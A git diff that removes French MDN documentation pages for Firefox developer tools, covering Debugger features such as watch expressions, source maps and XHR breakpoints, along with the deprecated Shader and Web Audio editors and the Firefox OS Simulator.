diff --git "a/files/fr/outils/d\303\251bogueur/comment/set_watch_expressions/index.html" "b/files/fr/outils/d\303\251bogueur/comment/set_watch_expressions/index.html" deleted file mode 100644 index 0ee376dc77..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/set_watch_expressions/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Ajouter une expression espionne -slug: Outils/Débogueur/Comment/Set_Watch_Expressions -translation_of: Tools/Debugger/How_to/Set_Watch_Expressions ---- -
{{ToolsSidebar}}
- -

Lors d'une rude séance de débogage, il est parfois utile d'espionner des expressions lorsque le code est en pause. Le Débogueur possède un panneau pour créer des expressions espionnes. Lors du parcours du code, ces expressions seront alors surveillées de près. Et chaque changement sera affiché.

- -

Pour créer une expression espionne, il faut d'abord ouvrir le panneau correspondant dans la partie droite du Débogueur. Puis cliquer sur "Ajouter une expression espionne". Et enfin, entrer l'expression voulue dans le champ text sélectionné :

- -

- -

Le Débogueur sauvegardera l'expression et l'espionnera tout au long du parcours du code. Lorsque le Débogueur rencontre un point d'arrêt, il affichera automatiquement les valeurs des expressions espionnes :

- -

- -

Il est possible de parcourir le code et de voir les changements des expressions. À chaque changement, le panneau sera brièvement coloré en jaune. Il est possible de supprimer une expression espionne en cliquant sur l'icône en forme de "x" à côté de celle-ci. Et bien sûr, il est possible d'avoir plusieurs expressions à la fois.

diff --git "a/files/fr/outils/d\303\251bogueur/comment/utiliser_une_source_map/index.html" "b/files/fr/outils/d\303\251bogueur/comment/utiliser_une_source_map/index.html" deleted file mode 100644 index fb9c4d3c8b..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/utiliser_une_source_map/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Utiliser une cartographie de code source -slug: Outils/Débogueur/Comment/Utiliser_une_source_map -translation_of: Tools/Debugger/How_to/Use_a_source_map ---- -
{{ToolsSidebar}}
- -

Les sources JavaScript exécutées par le navigateur sont souvent différentes des sources originales crées par un développeur. Par exemple :

- -
    -
  • Les sources sont souvent combinées et minifiées afin d'optimiser le temps que met le serveur à les fournir.
    • -
  • Le JavaScript d'une page est souvent généré automatiquement. Par exemple lorsqu'il est compilé depuis un langage comme CoffeeScript ou TypeScript.
    • -
- -

Dans ces situations, il est bien plus facile de déboguer le code dans son état original plutôt que dans celui utilisé par le navigateur. Une cartographie de code source (source map) est un fichier grâce auquel le débogueur peut faire le lien entre le code étant exécuté et les fichiers sources originaux, permettant ainsi au navigateur de reconstruire la source originale et de l'afficher dans le Débogueur.

- -

Pour activer le débogueur, il est nécessaire de :

- -
    -
  • générer la source map
    • -
  • inclure une instruction en commentaire dans le fichier transformé, qui pointe vers la source map. La syntaxe du commentaire est la suivante :
    • -
- -
//# sourceMappingURL=http://exemple.com/chemin/vers/votre/sourcemap.map
- -

{{EmbedYouTube("Fqd15gHC4Pg")}}

- -

Dans la vidéo ci-dessus, la page https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html est utilisée. Cette page charge une source nommée "main.js" qui a été écrite en CoffeeScript puis compilée vers JavaScript. La source compilée contient le commentaire suivant qui pointe vers la source map :

- -
//# sourceMappingURL=main.js.map
- -

Dans le panneau des sources, du Débogueur, la source CoffeeScript originale apparait en tant que "main.coffee". Il est alors possible de la déboguer comme n'importe quelle source.

diff --git "a/files/fr/outils/d\303\251bogueur/index.html" "b/files/fr/outils/d\303\251bogueur/index.html" deleted file mode 100644 index 9ad5a4fead..0000000000 --- "a/files/fr/outils/d\303\251bogueur/index.html" +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Débogueur -slug: Outils/Débogueur -tags: - - Debugger - - Debugging - - Dev Tools - - Firefox OS - - Tools -translation_of: Tools/Debugger ---- -
{{ToolsSidebar}}
- -
Le débogueur JavaScript permet d'avancer pas à pas dans du code JavaScript et de l’examiner ou de le modifier, afin de retouver et de corriger les bugs.
- -
- -

{{EmbedYouTube("QK4hKWmJVLo")}}

- -

Le débogueur peut fonctionner directement dans Firefox ou être utilisé à distance, par exemple sur un appareil Android utilisant Firefox pour Android. Voir le guide du débogage à distance pour apprendre à connecter le débogueur à une cible distante.

- -

Pour vous repérer dans le débogueur, voici une courte visite guidée de l'interface utilisateur.

- -
-

Comment ?

- -

Pour savoir ce qu'il est possible de faire avec le débogueur, regardez les guides pratiques suivants :

- -
- -
- -
-

Référence

- -
- -
diff --git "a/files/fr/outils/d\303\251bogueur/limitations_of_the_new_debugger/index.html" "b/files/fr/outils/d\303\251bogueur/limitations_of_the_new_debugger/index.html" deleted file mode 100644 index 939e3c2343..0000000000 --- "a/files/fr/outils/d\303\251bogueur/limitations_of_the_new_debugger/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Limitations of the new debugger -slug: Outils/Débogueur/Limitations_of_the_new_debugger -translation_of: Tools/Debugger/Limitations_of_the_new_debugger ---- -
{{ToolsSidebar}}

À partir de la version 52, Firefox inclut un nouveau Débogueur. Celui-ci n'est actuellement activé par défaut que dans Firefox Nightly et Firefox Developer Edition. Le nouveau Débogueur est plus rapide et plus fiable que l'ancien. Il fournit également une base plus saine pour les futurs développements de l'outil.

- -

Cependant, il ne possède pas encore toutes les fonctionnalités de l'ancien Débogueur. Cette page liste les fonctionnalités de l'ancienne version qui ne sont pas encore supportées.

- -

Il est à noter que le support de la plupart de ces fonctionnalités sont prévues pour les prochaines versions. Cette page sera mise à jour en fonction de cela.

- -

Si vous avez besoin d'utiliser l'ancien Débogueur, il faut changer la préférence "devtools.debugger.new-debugger-frontend" à false dans about:config (page du navigateur).

- -

Les fonctionalitées suivantes ne sont pas supportées par le nouveau Débogueur :

- - diff --git "a/files/fr/outils/d\303\251bogueur/raccourcis_clavier/index.html" "b/files/fr/outils/d\303\251bogueur/raccourcis_clavier/index.html" deleted file mode 100644 index b3d4e9b803..0000000000 --- "a/files/fr/outils/d\303\251bogueur/raccourcis_clavier/index.html" +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Raccourcis clavier -slug: Outils/Débogueur/Raccourcis_clavier -translation_of: Tools/Debugger/Keyboard_shortcuts ---- -
{{ToolsSidebar}}
- -

Ra{{ Page ("fr/docs/Outils/Keyboard_shortcuts", "debugger") }}

- -

Raccourcis Généraux

- -

{{ Page ("fr/docs/Outils/Keyboard_shortcuts", "all-toolbox-tools") }}

diff --git "a/files/fr/outils/d\303\251bogueur/set_an_xhr_breakpoint/index.html" "b/files/fr/outils/d\303\251bogueur/set_an_xhr_breakpoint/index.html" deleted file mode 100644 index 30e6bfd813..0000000000 --- "a/files/fr/outils/d\303\251bogueur/set_an_xhr_breakpoint/index.html" +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Set an XHR breakpoint -slug: Outils/Débogueur/Set_an_XHR_breakpoint -translation_of: Tools/Debugger/Set_an_XHR_breakpoint ---- -

{{ToolsSidebar}}

- -

Un point d'arrêt XHR (XMLHttpRequest) interrompt l'exécution du code lorsqu'une requête XHR est envoyée afin de pouvoir examiner l'état du programme.
- Pour activer ce point d'arrêt, il faut une fois le Débogueur ouvert :

- -
    -
  1. Soit cliquer sur "Arrêt à chaque URL" ce qui interrompt l'exécution à chaque requête.
    2. -
  2. Soit cliquer sur l’icône en forme de "+" a droite du titre "Points d'arrêt XHR" et rentrer l'URL de la requête sur laquelle interruption est voulue, puis valider avec Entrée.
    3. -
- -
-

Note: Si un mot clé est entré au lieu d'une URL, alors l'exécution s’arrêtera sur tout appel à une URL contenant ce mot clé.

-
- -

- -

Lorsque le code s’interrompt sur une requête XHR, le panneau droit aura deux sections additionnelles :

- -
-
Pille d'appel
-
Cette section liste les fonctions qui ont été exécutés avant d'arriver au code actuel. Cliquer sur un élément de cette liste sautera à la ligne associée dans la fenêtre du code.
-
Portées
-
Cette section liste les valeurs présentes dans la portée de la fonction, méthode, ou gestionnaire d'évènement, dans lequel le point d'arrêt s'est activé.
-
- -

diff --git "a/files/fr/outils/d\303\251bogueur/source_map_errors/index.html" "b/files/fr/outils/d\303\251bogueur/source_map_errors/index.html" deleted file mode 100644 index dba0164fa6..0000000000 --- "a/files/fr/outils/d\303\251bogueur/source_map_errors/index.html" +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Erreurs des source map -slug: Outils/Débogueur/Source_map_errors -translation_of: Tools/Debugger/Source_map_errors ---- -
{{ToolsSidebar}}
- -

Les Source maps sont des fichiers JSON permettant d'associer les sources transformées (minifiés, combinés, générées) lues par le navigateur, à leurs fichiers source originels. Il est parfois possible d'avoir des problèmes avec les sources map. Cette page présente les plus communs d'entre eux ainsi que des solutions pour les corriger.

- -
-

Note: En cas d'infamiliarité avec les source map, il est possible d'en apprendre plus ici : Utiliser une source map.

-
- -

Gestion d'erreurs des source map

- -

Dès lors qu'une erreur arrive, un message apparaitra dans la Console. Le message affichera le message d'erreur, l'URL de la ressource, et l'URL de la source map :

- -

Error from invalid JSON

- -

Ici, l'URL de la ressource URL indique que bundle.js mentionne une source map, et l'URL de la source map montre ou trouver la source map en elle-même (avec un chemin relatif à la ressource). L'erreur indique que la source map n'est pas un JSON valide.

- -

Il y a quelques erreurs fréquentes qui reviennent avec les sources map. Elles sont décrites dans les sections suivantes.

- -

La source map est inexistante ou inaccessible

- -

Source map file is missing

- -

La solution ici est de vérifier que le fichier est bien accessible par le navigateur (le fichier existe, et l'URL est bonne).

- -

Source map invalide

- -

Le code de la source map data peut être invalide. Soit parce que ce n'est tout simplement pas un fichier JSON, soit parce qu'il est mal formaté. Les messages d'erreurs typiques sont:

- -
    -
  • SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data
    • -
  • Error: "version" is a required argument
    • -
- -

Error: "version" is a required argument

- -

Source originale manquante

- -

Une source originale peut manquer. Il est possible d'avoir cette erreur en tentant d'ouvrir une source originale dans le Débogueur. Le message est un peu différent dans ce cas :

- -

Debugger source tab showing the error

- -

Ici, l'erreur sera également affichée dans l'onglet source du Débogueur :

- -

Debugger source tab showing the error

- -

NetworkError lors de la récupération d'une ressource

- -

Un bug dans Firefox l’empêche de charger les sources maps des extensions web.

- -

Voir le Bug 1437937: WebExtensions Doesn't Find Source Maps pour plus de détails.

- -
Source-Map-Fehler: TypeError: NetworkError when attempting to fetch resource.
- Ressourcen-Adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js
- Source-Map-Adresse: background.js.map
- -

Le seule workaround est de changer manuellement l'URL de la map pour la rendre publique (http://localhost:1234/file.map.js) et de lancer un serveur web local sur ce port.

diff --git "a/files/fr/outils/d\303\251bogueur/visite_guid\303\251e_de_l_interface_utilisateur/index.html" "b/files/fr/outils/d\303\251bogueur/visite_guid\303\251e_de_l_interface_utilisateur/index.html" deleted file mode 100644 index 44c25e1835..0000000000 --- "a/files/fr/outils/d\303\251bogueur/visite_guid\303\251e_de_l_interface_utilisateur/index.html" +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Visite guidée de l'interface utilisateur -slug: Outils/Débogueur/Visite_guidée_de_l_interface_utilisateur -translation_of: Tools/Debugger/UI_Tour ---- -
{{ToolsSidebar}}
- -

Cet article est une visite guidée des principales sections de l'interface utilisateur du Débogueur JavaScript. Cette interface est séparée en trois panneaux :

- - - -

- -

Panneau de la liste des sources

- -

Le panneau de la liste des sources liste tous les fichiers sources JavaScript qui sont chargés dans la page, et permet d'en sélectionner un pour le déboguer. Les sources sont triées par origine, puis organisées selon la structure de dossier depuis lesquels elles sont chargées.

- -

- -

Il est possible de rechercher un fichier en utilisant le raccourci clavier Ctrl + P (Cmd + P sur Mac).

- -

Depuis Firefox 69 les extensions Web sont listés en utilisant le nom de l'extension plutôt que son identifiant.

- -

- -

Il est possible de simplifier la liste des fichiers dans la liste des sources avec un clic droit sur un dossier, et une sélection de "définir comme répertoire racine".

- -

- -

Maintenant, la racine de la liste des sources est la racine du projet, rendant ainsi la navigation bien plus pratique.

- -

- -

Onglet Structure

- -

L'onglet structure affiche un arbre pour naviguer dans le fichier ouvert. Il permet de se placer directement dans une fonction, une classe, ou une méthode.

- -

Panneau des sources

- -

Ce panneau affiche le fichier JavaScript actuellement chargé.

- -

- -

Lorsque le panneau des sources est sélectionné, il est possible de rechercher une string dans le fichier en utilisant  Ctrl + F (Cmd + F sur Mac).

- -

Les points d'arrêt ont une flèche bleue superposée au numéro de ligne. Les points d'arrêt conditionnels ont eux une flèche orange. Si le code est arrêté à un point d'arrêt, la flèche est surchargée de vert. Dans la capture d'écran ci-dessous, il y a trois points d'arrêt :

- -
    -
  • La ligne 82 a un point d'arrêt normal et le Débogueur est arrêté dessus.
    • -
  • La ligne 85 a un point de sortie console qui affiche le contenu de tableRow dans la console.
    • -
  • La ligne 100 a un point d'arrêt conditionnel.
    • -
- -

- -

La troisième colonne affiche d'avantage d'informations sur les point d'arrêt. Par exemple le point de sortie console ligne 85 affiche la valeur de tableRow dans la console, et le point d'arrêt conditionnel à la ligne 100 a pour condition que todolist soit undefined.

- -

Barre d'outils

- -

La barre d'outils est située en haut du panneau de droite :

- -

- -

Cette barre est composée de :

- -
    -
  • Quatre boutons pour contrôler le mouvement du Débogueur à travers le script : - -
      -
    • Pause/Reprendre(F8) : met en pause ou reprend l’exécution du script en débogage. Lorsque ce bouton est en forme de "reprendre" cela veut dire que le script est en pause, soit parce que vous avez appuyé sur le bouton soit parce que le code est arrivé sur un point d'arrêt.
      • -
    • Passer la fonction (F10) : Passe à la ligne de JavaScript suivante.
      • -
    • Entrer dans la fonction (F11) : Entre dans la fonction appelée par la ligne de JavaScript actuelle si appel il y a. sinon, passe à la ligne suivante.
      • -
    • Sortir de la fonction (Shift-F11): Fait tourner le code jusqu’à sortir de la fonction actuelle.
      • -
    -
    • -
  • Un bouton pour désactiver tous les points d'arrêt.
    • -
- -

Liste des points d'arrêt

- -

Sous la barre d'outils, se trouve une liste de tous les points d'arrêt. À côté de chaque point, il y a une case à cocher qui permet d'activer/désactiver le point d'arrêt :

- -

- -

Expressions espionnes

- -

Il est possible d'ajouter des expressions espionnes dans la barre de droite. Celles-ci seront évaluées lorsque le code est en pause :

- -

- -

Infobulle de variable

- -

Survoler une variable dans le code source affichera une infobulle contentant sa valeur :

- -

- -

Pile d'exécution (call stack)

- -

Lorsque le Débogueur est en pause, une pile d'exécution est affichée :

- -

- -

Chaque niveau de la pile à sa propre ligne, avec le nom de la fonction, le nom de fichier, et le numéro de ligne. Cliquer sur cette ligne ouvre la source dans le panneau des sources.

- -

Portées

- -

Dans le panneau de droite, se trouve un élément nommé "Portées". Lorsque le Débogueur est arrêté, il est possible d'étendre cette section pour afficher tous les objets qui sont dans la portée du programme en ce point :

- -

- -

Les objets sont triés par portée : du plus local au plus global (Window dans la plupart des scripts de page web).

diff --git a/files/fr/outils/editeur_de_shaders/index.html b/files/fr/outils/editeur_de_shaders/index.html deleted file mode 100644 index 013fd7da49..0000000000 --- a/files/fr/outils/editeur_de_shaders/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Éditeur de Shaders -slug: Outils/Editeur_de_shaders -tags: - - Tools - - Web Development -translation_of: Tools/Shader_Editor ---- -
{{ToolsSidebar}}
- -
-

Notice: Cet outil a été déprécié et sera bientôt supprimé de Firefox. Pour plus de détails voir : Outils Dépréciés.

-
- -

L'Éditeur de Shaders permet de voir et d'éditer les vertex shaders et les fragments shaders utilisés par WebGL

- -

{{EmbedYouTube("hnoKqFuJhu0")}}

- -

WebGL est une API JavaScript qui sert à afficher des graphismes 3D et 2D interactifs dans le navigateur sans plugin. Avec WebGL deux programmes appelés "Shaders" sont générés, ceux-ci sont appelé dans le niveau approprié du  processus d’affichage d'OpenGL Le premier shader est un vertex shader, qui fournit les coordonnés de chaque vertex qui doit être affiché. Le deuxième est un fragment shader qui fournit la couleur de chaque pixel qui doit être affiché.
-
- Ces shaders sont codés dans le langage OpenGL Shading, ou GLSL. En WebGL, ces shaders peuvent être intégrés dans une page de différentes manières : sous forme de texte directement codés dans le code source JavaScript, sous forme de fichier séparé intégré avec les balises {{HTMLElement("script")}}, ou récupérés depuis le serveur sous forme de texte. Le code JavaScript en cours d’exécution dans la page envoie alors les shaders à la compilation en utilisant les APIs WebGL, et ils sont ensuite exécutés sur le GPU (unité de processeur graphique) de l'appareil.

- -

Avec l'Éditeur de Shaders il est possible d’examiner et d'éditer la sources de vertex shaders et de fragment shaders.

- -

Voici une autre vidéo montrant comment utiliser l'Éditeur de Shader pour des applications complexes (dans ce cas, la démo l'Unreal Engine) :

- -

{{EmbedYouTube("YBErisxQkPQ")}}

- -

Ouvrir l'Éditeur de Shaders

- -

L'Éditeur de Shaders est désactivé par défaut. Pour l'activer, il faut ouvrir les paramètres de la Boite à Outils et cocher "Éditeur de shaders" dans la section "Outils de développement par défaut". L'Éditeur de Shaders apparaitra alors dans la barre d'outils de la Boite à Outils. Cliquez dessus pour ouvrir l'Éditeur de Shaders.

- -


- Au début il y a qu'une fenêtre vide avec un bouton demandant de recharger la page :

- -

- -

Pour commencer, il faut charger une page qui crée un contexte WebGL et charge un programme dedans. Les captures d'écran ci-dessous sont tirées de la démo de l'Unreal Engine.

- -

Une fenêtre apparait alors divisée en trois panneaux : une liste de tous les programmes GLSL sur la gauche, le vertex shader en cours du programme sélectionné au milieu et le fragment shader en cours du programme sélectionné sur la droite :

- -

- -

Gérer les programmes

- -

Le panneau de gauche liste tous les programmes utilisés par le contexte WebGL. En survolant un élément dans la liste, la figure géométrique affichée par le programme est coloré en rouge vif :

- -

Cliquer sur l’icône en forme d'œil sur la gauche d'un programme désactivera ce programme. Ceci est pratique pour se concentrer sur certains shaders ou pour cacher des éléments qui se superposent :

- -

- -

Si vous cliquez sur un programme, ses vertex et fragment shaders sont affichés dans les deux autres panneaux et vous pouvez les modifier.

- -

Modifier des shaders

- -

Cliquer sur un programme affichera son vertex shader (panneau du milieu) et son fragment shader (panneau de droite), il sera alors possible de les modifier.
- Les changements réalisés seront visibles lors du ré-affichage du contexte WebGL (par exemple lors de la prochaine frame). Il est par exemple possible de modifier des couleurs :

- -

L'éditeur met en surbrillance les erreurs dans le code :

- -

Survoler la croix affiché à coté d'une ligne contenant une erreur montrera plus de détails sur le problème :

- -

diff --git a/files/fr/outils/editeur_web_audio/index.html b/files/fr/outils/editeur_web_audio/index.html deleted file mode 100644 index 116b495b29..0000000000 --- a/files/fr/outils/editeur_web_audio/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Éditeur Web Audio -slug: Outils/Editeur_Web_Audio -tags: - - Tools -translation_of: Tools/Web_Audio_Editor ---- -
{{ToolsSidebar}}
- -
-

Notice: Cet outil a été déprécié et sera bientôt supprimé de Firefox. Pour plus de détails voir : Outils Dépréciés.

-
- -

Avec l'API Web Audio, les développeurs peuvent créer un {{domxref ("AudioContext", "contexte audio")}}. Dans ce contexte, ils peuvent créer différents {{domxref ("AudioNode", "nœuds audio")}} comme :

- -
    -
  • Des nœuds fournissant la source audio, comme un oscillateur ou une source de "data buffer"
    • -
  • Des nœuds réalisant des transformations tels que Délai ou Gain.
    • -
  • Des nœuds représentant la destination du flux audio, par exemple les hauts parleurs.
    • -
- -

Chaque nœud à zéro ou plusieurs propriétés {{domxref ("AudioParam")}}. Ces propriétés configurent sa fonction. Par exemple le {{domxref ("GainNode")}} a une seule propriété gain alors que le nœud {{domxref ("OscillatorNode")}} a les propriétés frequency  et detune.

- -

Le développeur connecte les nœuds dans un graphique et le graphique une fois complet définit le comportement du flux audio.

- -

L'Éditeur Web Audio examine un contexte audio construit dans la page et fournit une visualisation de son graphique. Cela donne une vue globale de son fonctionnement et permet de vérifier que tous les nœuds sont connectés comme attendu. Il est également possible d’examiner et d'éditer la propriété AudioParam pour chaque nœud du graphique. Quelques propriétés non-AudioParam  comme une propriété OscillatorNode's type, sont également affichées et il est aussi possible de les éditer.

- -

Cet outil étant encore expérimental, si vous trouvez des bugs, nous adorerions que vous les reportiez dans Bugzilla. Si vous avez des avis ou des suggestions pour de nouvelles fonctionnalités, dev-developer-tools ou Twitter sont de bon endroit pour les partager.

- -

Ouvrir l'Éditeur Web Audio

- -

L'Éditeur Web Audio n'est pas activé par défaut dans Firefox 32. Pour l'activer, il faut ouvrir les options des outils de développement et cocher l'option "Web Audio".  Un nouvel onglet nommé "Web Audio" s'ajoute alors à vos outils de développement. Il faut ensuite cliquer sur l’onglet et charger une page avec un contexte audio. Voici deux bons exemples :

- -
    -
  • Le Voice-change-O-Matic, qui peut appliquer divers effets à l’entrée du microphone et fournit aussi une visualisation du résultat.
    • -
  • La démo Violent Theremin, qui change le ton et le volume d'un signal sinusoïdal  lorsque l'on bouge la souris.
    • -
- -

Visualiser le graphique

- -

L'Éditeur Web Audio affiche alors le graphique correspondant au contexte audio chargé. Voici le graphique du contexte audio de la démo Violent Theremin :

- -

Il utilise trois nœuds : un {{domxref ("OscillatorNode")}} comme source, un {{domxref ("GainNode")}} pour contrôler le volume et un{{domxref ("AudioDestinationNode")}} comme destination.

- -

Connections aux AudioParams

- -
-

Afficher les connections aux AudioParams est une des nouveautés de Firefox 34.

-
- -

Les connections entre les nœuds sont affichés sous la forme de lignes solides. En revanche, si un nœud est connecté à un AudioParam d'un autre nœud, alors la connection est affiché sous la forme d'une ligne pointillée et prend le nom de l'AudioParam :

- -

Inspecter et modifier les nœuds audio

- -

Cliquer sur un nœud le mettra en surbrillance et affichera un inspecteur de nœuds sur la partie droite. Cet inspecteur, liste les valeurs des propriétés AudioParam du nœud. Par exemple voila à quoi ressemble l'OscillatorNode :

- -

Avec la démo Violent Theremin, le paramètre de fréquence est modifié lorsque l'utilisateur bouge la souris, cela se répercute sur l'inspecteur. Malheureusement la valeur n'est pas modifiée en temps réel : il faut cliquer à nouveau sur le nœud pour voir la nouvelle valeur.

- -

En cliquant sur une valeur de l'inspecteur, il est possible de la modifier en pressant sur Entrée ou Tabulation, la nouvelle valeur est automatiquement prise en compte.

- -

Contourner des nœuds

- -
-

Nouveau dans Firefox 38.

-
- -

Dans le panneau qui affiche les détails des nœuds, il y a un bouton marche/arrêt :

- -

Cliquer sur ce bouton modifiera le graphique pour contourner le nœud. Le nœud contourné n'aura alors plus aucun effet et sera affiché avec un fond haché :

- -

diff --git a/files/fr/outils/firefox_os_simulator_clone/index.html b/files/fr/outils/firefox_os_simulator_clone/index.html deleted file mode 100644 index 5df5c6b15f..0000000000 --- a/files/fr/outils/firefox_os_simulator_clone/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Simulateur Firefox OS -slug: Outils/Firefox_OS_Simulator_clone -translation_of: Tools/Firefox_OS_Simulator_clone ---- -
{{ToolsSidebar}}
-

Cette  page décrit le Simulateur Firefox OS à l'attention des développeurs qui ciblent Firefox OS à partir de la version 1.2. Si vous développez des applications pour Firefox OS 1.1, il faut à la place consulter la documentation pour le Simulateur Firefox OS 1.1.

-
- -

Le Simulateur Firefox OS est une version des couches supérieures de Firefox OS qui permet de simuler le fonctionnement d'un appareil Firefox OS sur un ordinateur de bureau. Cela signifie que dans la plupart des cas, il n'est pas nécessaire d'avoir un véritable appareil pour tester et déboguer votre application. Il s'affiche dans une fenêtre de la même taille qu'un appareil Firefox OS, comprend l'interface utilisateur de Firefox OS et ses applications intégrées, et simule la plupart des APIs des appareils Firefox OS.

- -

Le Simulateur est distribué comme un module complémentaire pour Firefox. Une fois que vous l'avez téléchargé et installé dans Firefox, vous pouvez le lancer, y envoyer des applications ainsi qu'utiliser les outils de développement avec le Gestionnaire d'applications, et à l'heure actuelle dans Nightly/Aurora, avec WebIDE.

- -

Installation

- -

Pour installer le simulateur, utilisez le panneau de gestion des Simulateurs dans WebIDE (disponible dans Firefox à partir de la version 33). Plusieurs versions sont disponibles, et il est conseillé de toutes les installer pour un maximum de flexibilité.

- -

Pour lancer le Simulateur, choisissez-le dans la liste des environnements de WebIDE. Pour plus de détails, voir les instructions dans la documentation de WebIDE. Une fois le Simulateur lancé, vous pouvez y envoyer des applications et les déboguer grâce à WebIDE, comme vous le feriez avec un vrai appareil.

- -

Si vous utilisez le Gestionnaire d'applications (l'ancien outil, disponible avant WebIDE), vous pouvez installer un simulateur en cliquant sur le bouton suivant :

- -

Installer le Simulateur

- -

L'interface du Simulateur

- -

Le Simulateur apparaît dans une fenêtre séparée, dimensionnée de manière à ce que l'écran simulé fasse 320x480 pixels. Pour simuler les événements tactiles, vous pouvez cliquer avec la souris et glisser en maintenant le bouton enfoncé. Donc, en cliquant et glissant de la droite vers la gauche sur l'écran d'accueil, vous verrez les applications intégrées tout comme celles que vous avez ajoutées :

- -

- -

Le Simulateur dispose de deux boutons dans la barre d'outils en bas de l'écran :

- -
    -
  • Le bouton de gauche vous renvoie à l'écran d'accueil, ou éteint le Simulateur si vous le maintenez enfoncé.
    • -
  • Le bouton de droite bascule entre portrait et paysage l'orientation de l'écran du Simulateur. Cela générera un événement orientationchange.
    • -
- -

Limitations du Simulateur

- -

Notez que le Simulateur Firefox OS ne réalise pas une simulation parfaite.

- -

Limitations au niveau du matériel

- -

À part la taille de l'écran, le Simulateur ne simule pas les limitations du matériel d'un appareil Firefox OS comme la mémoire disponible ou la vitesse du CPU.

- -

Codecs audio/vidéo

- -

Les codecs suivants dépendent du décodage pris en charge par le matériel et ne sont donc pas encore supportés :

- -
    -
  • MP3
    • -
  • AAC
    • -
  • H.264 (MP4)
    • -
  • WebM
    • -
- -

Cela implique qu'il n'est pas possible d'utiliser le Simulateur pour tester la lecture de vidéo dans des applications ni sur des sites web comme Youtube qui reposent sur ces codecs.

- -

APIs non supportées

- -

Certaines APIs qui fonctionnent sur un appareil ne fonctionneront pas sur le Simulateur, en général parce que le matériel supporté n'est pas disponible sur l'ordinateur. Nous avons implémenté des simulations pour quelques APIs comme la géolocalisation, et envisageons d'en ajouter davantage dans les versions à venir. Néanmoins, à l'heure actuelle, les APIs suivantes ne sont pas prises en charge. Le fait de les utiliser peut générer des erreurs ou juste renvoyer des résultats incorrects :

- - - -

Obtenir de l'aide

- -

Si vous avez une question, essayez de nous la poser sur la liste de diffusion dev-developer-tools ou sur #devtools on irc.mozilla.org.

- -

Comment activer la journalisation verbeuse

- -

Vous pouvez voir les messages enregistrés dans les journaux de votre application dans la Console Web, cette dernière pouvant être liée à votre app en utilisant WebIDE. Si vous souhaitez capturer plus tôt les messages qui surviennent durant le démarrage de l'application, avant que la console ne soit connectée et fonctionnelle, vous pouvez activer l'enregistrement verbeux des journaux dans le Simulateur.

- -

Allez sur about:config et créer une nouvelle préférence. Le nom de la préférence est différent selon la version du Simulateur :

- -
    -
  • extensions.fxos_1_3_simulator@mozilla.org.sdk.console.logLevel pour Firefox OS 1.3
    • -
  • extensions.fxos_1_2_simulator@mozilla.org.sdk.console.logLevel pour Firefox OS 1.2
    • -
- -

Attribuez-lui la valeur chaîne "all", désactivez, puis réactivez le module dans les modules complémentaires. À présent, des messages supplémentaires concernant les opérations du Simulateur apparaîtront dans la Console du navigateur.

diff --git a/files/fr/outils/frise_chronologique/index.html b/files/fr/outils/frise_chronologique/index.html deleted file mode 100644 index 215ce97ad5..0000000000 --- a/files/fr/outils/frise_chronologique/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Frise chronologique -slug: Outils/Frise_chronologique -tags: - - Gecko - - Guide - - Tools -translation_of: Tools/Performance/Waterfall -translation_of_original: Tools/Timeline ---- -
{{ToolsSidebar}}

La frise chronologique suit à la trace les opérations réalisées par Gecko, le moteur du navigateur.Il faut aller dans les the devtools options des outils de developemment pour activer la frise chronologique.

- -

Pour le moment, la frise chronologique couvre les éléments suivants :

- -
    -
  • reflows (aussi appelés Layout) : Le moteur a calculé la géométrie d'un ou plusieurs nœuds.
    • -
  • restyle : le style a été recalculé.
    • -
  • paint : une partie de la page a été redessinée.
    • -
  • console : appels à la fonction console.time(label) et/ou console.timeEnd(label);
    • -
  • Éènements DOM : les évènements tel que "click", "input", "keydown" etc...
    • -
- -

Les opérations reflows, restyle et paint ont lieu dans le "thread" principal et peut retarder ou être retardé à cause des opérations lentes (reflows, exécution de script, beaucoup de restyle, etc...).

- -

Timeline Screenshot

diff --git a/files/fr/outils/index.html b/files/fr/outils/index.html deleted file mode 100644 index 50ac8a8db2..0000000000 --- a/files/fr/outils/index.html +++ /dev/null @@ -1,225 +0,0 @@ ---- -title: Outils de développement Firefox -slug: Outils -tags: - - Développement Web - - 'Développement Web:Outils' - - Firefox - - Guide - - Outils -translation_of: Tools ---- -
{{ToolsSidebar}}
- -

Examinez, modifiez et déboguez du HTML, des CSS et du JavaScript sur ordinateur ou sur mobile.

- -

Si vous cherchez des informations sur l'utilisation des outils de développement disponibles dans Firefox, vous êtes au bon endroit.

- -

Cette page fournit des liens vers des informations détaillées sur tous les outils principaux et additionnels de Firefox. Ainsi que d'autres liens vers par exemple : comment connecter et déboguer Firefox pour Android, comment étendre les outils de développement, et comment déboguer le navigateur lui-même.

- -

Nous vous encourageons à explorer les liens de la barre latérale, et ceux dans la page, pour en apprendre plus sur les outils de développement. Si vous avez des retours ou des problèmes sur ces outils, vous pouvez nous envoyer des messages sur notre mailing-list ou notre canal IRC (Voir les liens communauté, vers la fin de la page). Si vous avez des questions ou des retours spécifiquement sur la documentation, MDN discourse est l'endroit parfait.

- -
-

Note: Si vous débutez dans le développement web et/ou l'utilisation des outils de développement, la page apprendre le développement web peut vous aider. Vous pouvez également consulter Commencer avec le web et Découvrir les outils de développement des navigateurs.

-
- -

Outils principaux

- -

Les outils de développement peuvent être ouverts avec Ctrl + Shift + I ou F12 sous Windows et Linux, et Cmd + Opt + I sous macOS.

- -

La partie droite de la barre d'outils contient plusieurs boutons qui permettent d'effectuer des actions, ou de changer certaines options des outils.

- -

- - - - - - - - - - - - - - - - - - - - - - - - -
